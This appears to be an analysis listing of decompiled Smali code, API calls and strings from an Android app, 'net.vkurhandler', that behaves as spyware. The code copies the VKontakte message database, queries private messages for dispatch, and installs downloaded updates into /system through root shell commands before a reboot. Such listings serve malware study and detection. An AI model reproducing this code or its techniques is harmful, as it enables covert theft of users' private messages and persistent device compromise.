                    51invoke-virtual {v1}, Lnet/vkurhandler/MyApp;->v()Lnet/vkurhandler/Mobile;
                    52move-result-object v1
                    54invoke-virtual {v1}, Lnet/vkurhandler/Mobile;->h()Ljava/lang/String;
                    55move-result-object v1
                    56new-instance v2, Lorg/json/JSONObject;
                    58invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V
                    60const-string v3, "module"
                    62const-string v4, "update"
                    64invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    66const-string v3, "action"
                    68const-string v4, "update_info"
                    70invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    72const-string v3, "domain_id"
                    73const/4 v4, 0x0
                    75invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    77const-string v3, "device_id"
                    79invoke-virtual {v2, v3, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    81const-string v1, "pkg_name"
                    83iget-object v3, p0, Lnet/vkurhandler/gl;->b:Landroid/content/Context;
                    85invoke-virtual {v3}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                    86move-result-object v3
                    88invoke-virtual {v2, v1, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    90const-string v1, "app_name"
                    92iget-object v3, p0, Lnet/vkurhandler/gl;->b:Landroid/content/Context;
                    94iget-object v4, p0, Lnet/vkurhandler/gl;->b:Landroid/content/Context;
                    96invoke-virtual {v4}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                    97move-result-object v4
                    99invoke-static {v3, v4}, Lnet/vkurhandler/gn;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                    100move-result-object v3
                    102invoke-virtual {v2, v1, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    104const-string v1, "app_version"
                    105iget v3, v0, Landroid/content/pm/PackageInfo;->versionCode:I
                    107invoke-virtual {v2, v1, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    108new-instance v1, Lnet/vkurhandler/gb;
                    110invoke-direct {v1}, Lnet/vkurhandler/gb;-><init>()V
                    112iget-object v3, p0, Lnet/vkurhandler/gl;->b:Landroid/content/Context;
                    114invoke-static {v3, v2, v1}, Lnet/vkurhandler/ea;->b(Landroid/content/Context;Lorg/json/JSONObject;Lcom/a/a/a/h;)V
                    115new-instance v2, Ljava/lang/String;
                    117invoke-virtual {v1}, Lnet/vkurhandler/gb;->i()[B
                    118move-result-object v1
                    120invoke-direct {v2, v1}, Ljava/lang/String;-><init>([B)V
                    121new-instance v1, Lorg/json/JSONObject;
                    123invoke-direct {v1, v2}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    125const-string v2, "response"
                    127invoke-virtual {v1, v2}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                    128move-result-object v1
                    130const-string v2, "success"
                    132invoke-virtual {v1, v2}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
                    133move-result v2
                    134if-nez v2, :cond_d1
                    136sget-object v0, Lnet/vkurhandler/gm;->h:Lnet/vkurhandler/gm;
                    138invoke-direct {p0, v0}, Lnet/vkurhandler/gl;->a(Lnet/vkurhandler/gm;)V
                    140invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    141move-result v0
                    142if-eqz v0, :cond_d
                    144const-string v0, "Updater"
                    145const/4 v2, 0x2
                    146new-array v2, v2, [Ljava/lang/String;
                    147const/4 v3, 0x0
                    149const-string v4, "response error:"
                    150aput-object v4, v2, v3
                    151const/4 v3, 0x1
                    153const-string v4, "error"
                    155invoke-virtual {v1, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    156move-result-object v1
                    157aput-object v1, v2, v3
                    159invoke-static {v0, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    160goto/16 :goto_d
                    161cond_d1:
                    162const-string v2, "data"
                    164invoke-virtual {v1, v2}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                    165move-result-object v1
                    167const-string v2, "server_version"
                    169invoke-virtual {v1, v2}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    170move-result v2
                    171iget v0, v0, Landroid/content/pm/PackageInfo;->versionCode:I
                    172if-lt v0, v2, :cond_f5
                    174invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    175move-result v0
                    176if-eqz v0, :cond_ee
                    178const-string v0, "Updater"
                    180const-string v1, "You have last version"
                    182invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    183cond_ee:
                    184sget-object v0, Lnet/vkurhandler/gm;->e:Lnet/vkurhandler/gm;
                    186invoke-direct {p0, v0}, Lnet/vkurhandler/gl;->a(Lnet/vkurhandler/gm;)V
                    187goto/16 :goto_d
                    188cond_f5:
                    189const-string v0, "size"
                    191invoke-virtual {v1, v0}, Lorg/json/JSONObject;->getLong(Ljava/lang/String;)J
                    192move-result-wide v2
                    194const-string v0, "url"
                    196invoke-virtual {v1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    197move-result-object v0
                    199invoke-static {}, Lnet/vkurhandler/gn;->f()Ljava/io/File;
                    200move-result-object v1
                    202invoke-virtual {v1}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                    203move-result-object v4
                    205invoke-static {v0, v4}, Lnet/vkurhandler/gn;->a(Ljava/lang/String;Ljava/lang/String;)J
                    206move-result-wide v4
                    207cmp-long v0, v4, v6
                    208if-eqz v0, :cond_119
                    209cmp-long v0, v2, v6
                    210if-eqz v0, :cond_119
                    211cmp-long v0, v4, v2
                    212if-eqz v0, :cond_143
                    213cond_119:
                    214invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    215move-result v0
                    216if-eqz v0, :cond_133
                    218const-string v0, "Updater"
                    219const/4 v2, 0x2
                    220new-array v2, v2, [Ljava/lang/String;
                    221const/4 v3, 0x0
                    223const-string v6, "Incorrect apk size for updating:"
                    224aput-object v6, v2, v3
                    225const/4 v3, 0x1
                    227invoke-static {v4, v5}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
                    228move-result-object v4
                    229aput-object v4, v2, v3
                    231invoke-static {v0, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    232cond_133:
                    233sget-object v0, Lnet/vkurhandler/gm;->g:Lnet/vkurhandler/gm;
                    235invoke-direct {p0, v0}, Lnet/vkurhandler/gl;->a(Lnet/vkurhandler/gm;)V
                    237invoke-virtual {v1}, Ljava/io/File;->exists()Z
                    238move-result v0
                    239if-eqz v0, :cond_d
                    241invoke-virtual {v1}, Ljava/io/File;->delete()Z
                    242goto/16 :goto_d
                    243cond_143:
                    244iget-object v0, p0, Lnet/vkurhandler/gl;->b:Landroid/content/Context;
                    246invoke-virtual {v0}, Landroid/content/Context;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;
                    247move-result-object v0
                    249iget-object v0, v0, Landroid/content/pm/ApplicationInfo;->sourceDir:Ljava/lang/String;
                    251iget-object v2, p0, Lnet/vkurhandler/gl;->b:Landroid/content/Context;
                    253invoke-static {v2}, Lnet/vkurhandler/gn;->b(Landroid/content/Context;)Z
                    254move-result v2
                    255if-nez v2, :cond_1cc
                    256const/4 v2, 0x2
                    257new-array v2, v2, [Ljava/lang/String;
                    258const/4 v3, 0x0
                    259new-instance v4, Ljava/lang/StringBuilder;
                    261const-string v5, "cat "
                    263invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    265invoke-virtual {v1}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                    266move-result-object v5
                    268invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    269move-result-object v4
                    271const-string v5, " > "
                    273invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    274move-result-object v4
                    276invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    277move-result-object v4
                    279const-string v5, "\n"
                    281invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    282move-result-object v4
                    284invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    285move-result-object v4
                    286aput-object v4, v2, v3
                    287const/4 v3, 0x1
                    288new-instance v4, Ljava/lang/StringBuilder;
                    290const-string v5, "chmod 0666 "
                    292invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    294invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    295move-result-object v4
                    297const-string v5, "\n"
                    299invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    300move-result-object v4
                    302invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    303move-result-object v4
                    304aput-object v4, v2, v3
                    306invoke-static {v2}, Lnet/vkurhandler/ec;->a([Ljava/lang/String;)V
                    307new-instance v2, Ljava/io/File;
                    309invoke-direct {v2, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    311invoke-virtual {v2}, Ljava/io/File;->exists()Z
                    312move-result v0
                    313if-eqz v0, :cond_1c5
                    315invoke-virtual {v2}, Ljava/io/File;->length()J
                    316move-result-wide v2
                    318invoke-virtual {v1}, Ljava/io/File;->length()J
                    319move-result-wide v0
                    320cmp-long v0, v2, v0
                    321if-nez v0, :cond_1c5
                    323sget-object v0, Lnet/vkurhandler/gm;->d:Lnet/vkurhandler/gm;
                    325invoke-direct {p0, v0}, Lnet/vkurhandler/gl;->a(Lnet/vkurhandler/gm;)V
                    326const-wide/16 v0, 0xbb8
                    328invoke-static {v0, v1}, Lnet/vkurhandler/gn;->a(J)V
                    329const/4 v0, 0x1
                    330new-array v0, v0, [Ljava/lang/String;
                    331const/4 v1, 0x0
                    333const-string v2, "reboot\n"
                    334aput-object v2, v0, v1
                    336invoke-static {v0}, Lnet/vkurhandler/ec;->a([Ljava/lang/String;)V
                    337goto/16 :goto_d
                    338cond_1c5:
                    339sget-object v0, Lnet/vkurhandler/gm;->h:Lnet/vkurhandler/gm;
                    341invoke-direct {p0, v0}, Lnet/vkurhandler/gl;->a(Lnet/vkurhandler/gm;)V
                    342goto/16 :goto_d
                    343cond_1cc: new-instance v0, Ljava/lang/StringBuilder;
                    345const-string v2, "/system/framework/"
                    347invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    349invoke-virtual {v1}, Ljava/io/File;->getName()Ljava/lang/String;
                    350move-result-object v2
                    352invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    353move-result-object v0
                    355const-string v2, ".apk"
                    357invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    358move-result-object v0
                    360invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    361move-result-object v0
                    362const/4 v2, 0x4
                    363new-array v2, v2, [Ljava/lang/String;
                    364const/4 v3, 0x0
                    366const-string v4, "mount -o remount rw /system\n"
                    367aput-object v4, v2, v3
                    368const/4 v3, 0x1
                    370const-string v4, "mount -o rw,remount /system\n"
                    371aput-object v4, v2, v3
                    372const/4 v3, 0x2
                    373new-instance v4, Ljava/lang/StringBuilder;
                    375const-string v5, "cat "
                    377invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    379invoke-virtual {v1}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                    380move-result-object v5
                    382invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    383move-result-object v4
                    385const-string v5, " > "
                    387invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    388move-result-object v4
                    390invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    391move-result-object v4
                    393const-string v5, "\n"
                    395invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    396move-result-object v4
                    398invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    399move-result-object v4
                    400aput-object v4, v2, v3
                    401const/4 v3, 0x3
                    402new-instance v4, Ljava/lang/StringBuilder;
                    404const-string v5, "chmod 0666 "
                    406invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    408invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    409move-result-object v4
                    411const-string v5, "\n"
                    413invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    414move-result-object v4
                    416invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    417move-result-object v4
                    418aput-object v4, v2, v3
                    420invoke-static {v2}, Lnet/vkurhandler/ec;->a([Ljava/lang/String;)V
                    421new-instance v2, Ljava/io/File;
                    423invoke-direct {v2, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    425invoke-virtual {v2}, Ljava/io/File;->exists()Z
                    426move-result v0
                    427if-eqz v0, :cond_25b
                    429invoke-virtual {v2}, Ljava/io/File;->length()J
                    430move-result-wide v2
                    432invoke-virtual {v1}, Ljava/io/File;->length()J
                    433move-result-wide v0
                    434cmp-long v0, v2, v0
                    435if-nez v0, :cond_25b
                    437sget-object v0, Lnet/vkurhandler/gm;->d:Lnet/vkurhandler/gm;
                    439invoke-direct {p0, v0}, Lnet/vkurhandler/gl;->a(Lnet/vkurhandler/gm;)V
                    440const-wide/16 v0, 0xbb8
                    442invoke-static {v0, v1}, Lnet/vkurhandler/gn;->a(J)V
                    444iget-object v0, p0, Lnet/vkurhandler/gl;->b:Landroid/content/Context;
                    446invoke-static {v0}, Lnet/vkurhandler/gn;->c(Landroid/content/Context;)V
                    447goto/16 :goto_d
                    448cond_25b:
                    449sget-object v0, Lnet/vkurhandler/gm;->f:Lnet/vkurhandler/gm;
                    451invoke-direct {p0, v0}, Lnet/vkurhandler/gl;->a(Lnet/vkurhandler/gm;)V
                    452try_end_260: goto/16 :goto_d
                    APIs
                    • net.vkurhandler.dr.l:Ljava/lang/String
                    • net.vkurhandler.dr.m:Ljava/lang/String
                    • net.vkurhandler.dr.m:Ljava/lang/String
                    • java.io.File.<init>
                    • java.io.File.canRead
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.dr.g:Landroid/content/SharedPreferences
                    • net.vkurhandler.MyApp.a
                    • android.content.SharedPreferences.getLong
                    • net.vkurhandler.dr.m:Ljava/lang/String
                    • android.database.sqlite.SQLiteDatabase.openDatabase
                    • net.vkurhandler.dr.p:[Ljava/lang/String
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.database.sqlite.SQLiteDatabase.query
                    • android.database.Cursor.moveToNext
                    • net.vkurhandler.dr.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putLong
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.dr.d:Landroid/content/Context
                    • net.vkurhandler.DispatchService.a
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • net.vkurhandler.dr.o:[Ljava/lang/String
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.database.sqlite.SQLiteDatabase.query
                    • net.vkurhandler.dr.n:[Ljava/lang/String
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.database.sqlite.SQLiteDatabase.query
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getLong
                    • android.database.Cursor.getInt
                    • java.lang.Integer.toString
                    • net.vkurhandler.dr.l
                    • net.vkurhandler.dr.m
                    • net.vkurhandler.dr.b
                    • android.database.Cursor.getString
                    • android.database.Cursor.getInt
                    • net.vkurhandler.dr.a
                    • android.text.TextUtils.isEmpty
                    • net.vkurhandler.dr.b
                    • net.vkurhandler.dr.q:[Ljava/lang/String
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.database.sqlite.SQLiteDatabase.query
                    • android.database.Cursor.getCount
                    • android.database.Cursor.moveToFirst
                    • android.database.Cursor.getString
                    • java.lang.String.equals
                    • android.database.Cursor.getBlob
                    • java.lang.String.equals
                    • java.nio.charset.StandardCharsets.UTF_8:Ljava/nio/charset/Charset
                    • java.lang.String.<init>
                    • java.lang.String.equals
                    • java.nio.charset.StandardCharsets.UTF_8:Ljava/nio/charset/Charset
                    • java.lang.String.<init>
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getString
                    • android.database.Cursor.getLong
                    • net.vkurhandler.dr.a
                    • net.vkurhandler.dr.l
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • net.vkurhandler.dr.a
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    Strings
                    • 0777
                    • RTVkontakte
                    • can read message db copy is
                    • messenger_rt_vkontakte_last_update
                    • messages
                    • time >
                    • flags != 3 AND time >
                    • type
                    • sub_type
                    • date
                    • message
                    • sender
                    • peer
                    • is_out
                    • dialog_id
                    • error
                    • messages_search_content
                    • c0local_id =
                    • unknown
                    Position Instruction Meta Information
                    0.annotation build Landroid/annotation/SuppressLint;
                    1value = {
                    2"InlinedApi",
                    3"NewApi"
                    4}
                    5.end annotation
                    6move-object/from16 v0, p0
                    7iget-wide v2, v0, Lnet/vkurhandler/dr;->c:J
                    9invoke-static {v2, v3}, Lnet/vkurhandler/gn;->a(J)V
                    10move-object/from16 v0, p0
                    11iget-boolean v2, v0, Lnet/vkurhandler/dr;->v:Z
                    12if-eqz v2, :cond_13
                    13const/4 v2, 0x0
                    14move-object/from16 v0, p0
                    15iput-boolean v2, v0, Lnet/vkurhandler/dr;->v:Z
                    16cond_12: return-void
                    17cond_13: const/4 v3, 0x0
                    18const/4 v10, 0x0
                    19try_start_15:
                    20sget-object v2, Lnet/vkurhandler/dr;->l:Ljava/lang/String;
                    22sget-object v4, Lnet/vkurhandler/dr;->m:Ljava/lang/String;
                    24const-string v5, "0777"
                    26invoke-static {v2, v4, v5}, Lnet/vkurhandler/ec;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                    27new-instance v2, Ljava/io/File;
                    29sget-object v4, Lnet/vkurhandler/dr;->m:Ljava/lang/String;
                    31invoke-direct {v2, v4}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    33invoke-virtual {v2}, Ljava/io/File;->canRead()Z
                    34move-result v2
                    36invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    37move-result v4
                    38if-eqz v4, :cond_43
                    40const-string v4, "RTVkontakte"
                    41new-instance v5, Ljava/lang/StringBuilder;
                    43const-string v6, "can read message db copy is "
                    45invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    47invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                    48move-result-object v5
                    50invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    51move-result-object v5
                    53invoke-static {v4, v5}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    54cond_43: move-object/from16 v0, p0
                    56iget-object v4, v0, Lnet/vkurhandler/dr;->g:Landroid/content/SharedPreferences;
                    58const-string v5, "messenger_rt_vkontakte_last_update"
                    60invoke-static {}, Lnet/vkurhandler/MyApp;->a()J
                    61move-result-wide v6
                    62const-wide/16 v8, 0x3e8
                    63div-long/2addr v6, v8
                    65invoke-interface {v4, v5, v6, v7}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
                    66move-result-wide v12
                    67if-eqz v2, :cond_35a
                    69sget-object v2, Lnet/vkurhandler/dr;->m:Ljava/lang/String;
                    70const/4 v4, 0x0
                    71const/4 v5, 0x1
                    73invoke-static {v2, v4, v5}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
                    74try_end_5d: move-result-object v2
                    75try_start_5e: move-object/from16 v0, p0
                    76iget-boolean v3, v0, Lnet/vkurhandler/dr;->t:Z
                    77try_end_62: if-eqz v3, :cond_e8
                    78try_start_64:
                    79const-string v3, "messages"
                    81sget-object v4, Lnet/vkurhandler/dr;->p:[Ljava/lang/String;
                    82new-instance v5, Ljava/lang/StringBuilder;
                    84const-string v6, "time >"
                    86invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    88invoke-virtual {v5, v12, v13}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                    89move-result-object v5
                    91invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    92move-result-object v5
                    93const/4 v6, 0x0
                    94const/4 v7, 0x0
                    95const/4 v8, 0x0
                    96const/4 v9, 0x0
                    98invoke-virtual/range {v2 .. v9}, Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                    99try_end_7e: move-result-object v3
                    100const/4 v4, 0x1
                    101try_start_80: move-object/from16 v0, p0
                    102iput-boolean v4, v0, Lnet/vkurhandler/dr;->u:Z
                    103try_end_84: move-object v10, v3
                    104goto_85: const/4 v3, 0x0
                    105goto_86:
                    106invoke-interface {v10}, Landroid/database/Cursor;->moveToNext()Z
                    107move-result v4
                    108if-nez v4, :cond_105
                    109if-eqz v3, :cond_2f0
                    110move-object/from16 v0, p0
                    112iget-object v3, v0, Lnet/vkurhandler/dr;->g:Landroid/content/SharedPreferences;
                    114invoke-interface {v3}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    115move-result-object v3
                    117const-string v4, "messenger_rt_vkontakte_last_update"
                    119invoke-interface {v3, v4, v12, v13}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
                    120move-result-object v3
                    122invoke-interface {v3}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    123move-object/from16 v0, p0
                    125iget-object v3, v0, Lnet/vkurhandler/dr;->d:Landroid/content/Context;
                    127invoke-static {v3}, Lnet/vkurhandler/DispatchService;->a(Landroid/content/Context;)V
                    128goto_a6: if-eqz v10, :cond_ab
                    129try_start_a8:
                    130invoke-interface {v10}, Landroid/database/Cursor;->close()V
                    131cond_ab: if-eqz v2, :cond_12
                    133invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    134move-result v3
                    135if-eqz v3, :cond_12
                    137invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    138try_end_b6: goto/16 :goto_12
                    139catch_b8: move-exception v2
                    141const-string v3, "RTVkontakte"
                    143invoke-static {v3, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    144goto/16 :goto_12
                    145catch_c0: move-exception v3
                    146try_start_c1:
                    147const-string v4, "RTVkontakte"
                    149invoke-static {v4, v3}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    151const-string v3, "messages"
                    153sget-object v4, Lnet/vkurhandler/dr;->o:[Ljava/lang/String;
                    154new-instance v5, Ljava/lang/StringBuilder;
                    156const-string v6, "time >"
                    158invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    160invoke-virtual {v5, v12, v13}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                    161move-result-object v5
                    163invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    164move-result-object v5
                    165const/4 v6, 0x0
                    166const/4 v7, 0x0
                    167const/4 v8, 0x0
                    168const/4 v9, 0x0
                    170invoke-virtual/range {v2 .. v9}, Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                    171try_end_e0: move-result-object v3
                    172const/4 v4, 0x0
                    173try_start_e2: move-object/from16 v0, p0
                    174iput-boolean v4, v0, Lnet/vkurhandler/dr;->u:Z
                    175try_end_e6: move-object v10, v3
                    176goto/16 :goto_85
                    177try_start_e8:
                    178const-string v3, "messages"
                    180sget-object v4, Lnet/vkurhandler/dr;->n:[Ljava/lang/String;
                    181new-instance v5, Ljava/lang/StringBuilder;
                    183const-string v6, "flags != 3 AND time > "
                    185invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    187invoke-virtual {v5, v12, v13}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                    188move-result-object v5
                    190invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    191move-result-object v5
                    192const/4 v6, 0x0
                    193const/4 v7, 0x0
                    194const/4 v8, 0x0
                    195const/4 v9, 0x0
                    197invoke-virtual/range {v2 .. v9}, Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                    198move-result-object v3
                    199move-object v10, v3
                    200goto/16 :goto_85
                    201cond_105: move-object/from16 v0, p0
                    202iget-boolean v3, v0, Lnet/vkurhandler/dr;->t:Z
                    203if-eqz v3, :cond_2aa
                    204const/4 v3, 0x0
                    206invoke-interface {v10, v3}, Landroid/database/Cursor;->getInt(I)I
                    207move-result v3
                    208const/4 v4, 0x1
                    210invoke-interface {v10, v4}, Landroid/database/Cursor;->getInt(I)I
                    211move-result v6
                    212const/4 v4, 0x3
                    214invoke-interface {v10, v4}, Landroid/database/Cursor;->getLong(I)J
                    215move-result-wide v4
                    216const/4 v7, 0x4
                    218invoke-interface {v10, v7}, Landroid/database/Cursor;->getInt(I)I
                    219move-result v7
                    220cmp-long v8, v4, v12
                    221if-lez v8, :cond_356
                    222move-wide/from16 v16, v4
                    223goto_125:
                    224invoke-static {v3}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
                    225move-result-object v12
                    226const/4 v8, 0x1
                    228invoke-static {v8, v4, v5}, Lnet/vkurhandler/gn;->a(ZJ)Ljava/lang/String;
                    229move-result-object v15
                    231invoke-direct/range {p0 .. p0}, Lnet/vkurhandler/dr;->l()Ljava/lang/String;
                    232move-result-object v13
                    234invoke-direct/range {p0 .. p0}, Lnet/vkurhandler/dr;->m()I
                    235move-result v4
                    236if-ne v6, v4, :cond_19c
                    237const/4 v11, 0x1
                    238move-object/from16 v0, p0
                    240invoke-direct {v0, v2, v3}, Lnet/vkurhandler/dr;->b(Landroid/database/sqlite/SQLiteDatabase;I)Ljava/lang/String;
                    241move-result-object v14
                    242goto_13f: move-object/from16 v0, p0
                    243iget-boolean v3, v0, Lnet/vkurhandler/dr;->u:Z
                    244if-eqz v3, :cond_1ae
                    245const/4 v3, 0x2
                    247invoke-interface {v10, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    248move-result-object v4
                    249const/4 v3, 0x5
                    251invoke-interface {v10, v3}, Landroid/database/Cursor;->getInt(I)I
                    252move-result v3
                    253const/4 v5, 0x1
                    254if-ne v3, v5, :cond_1a6
                    255const/4 v3, 0x0
                    256move-object v5, v12
                    257move-object v6, v13
                    258move-object v7, v14
                    259move-object v8, v15
                    260move-wide/from16 v12, v16
                    261goto_159: const/4 v9, 0x1
                    262move-object/from16 v0, p0
                    264invoke-virtual {v0, v4, v6, v7}, Lnet/vkurhandler/dr;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Z
                    265move-result v11
                    266if-eqz v11, :cond_199
                    268invoke-static {v4}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    269move-result v11
                    270if-nez v11, :cond_199
                    272invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    273move-result-object v11
                    275const-string v14, "type"
                    276const/4 v15, 0x1
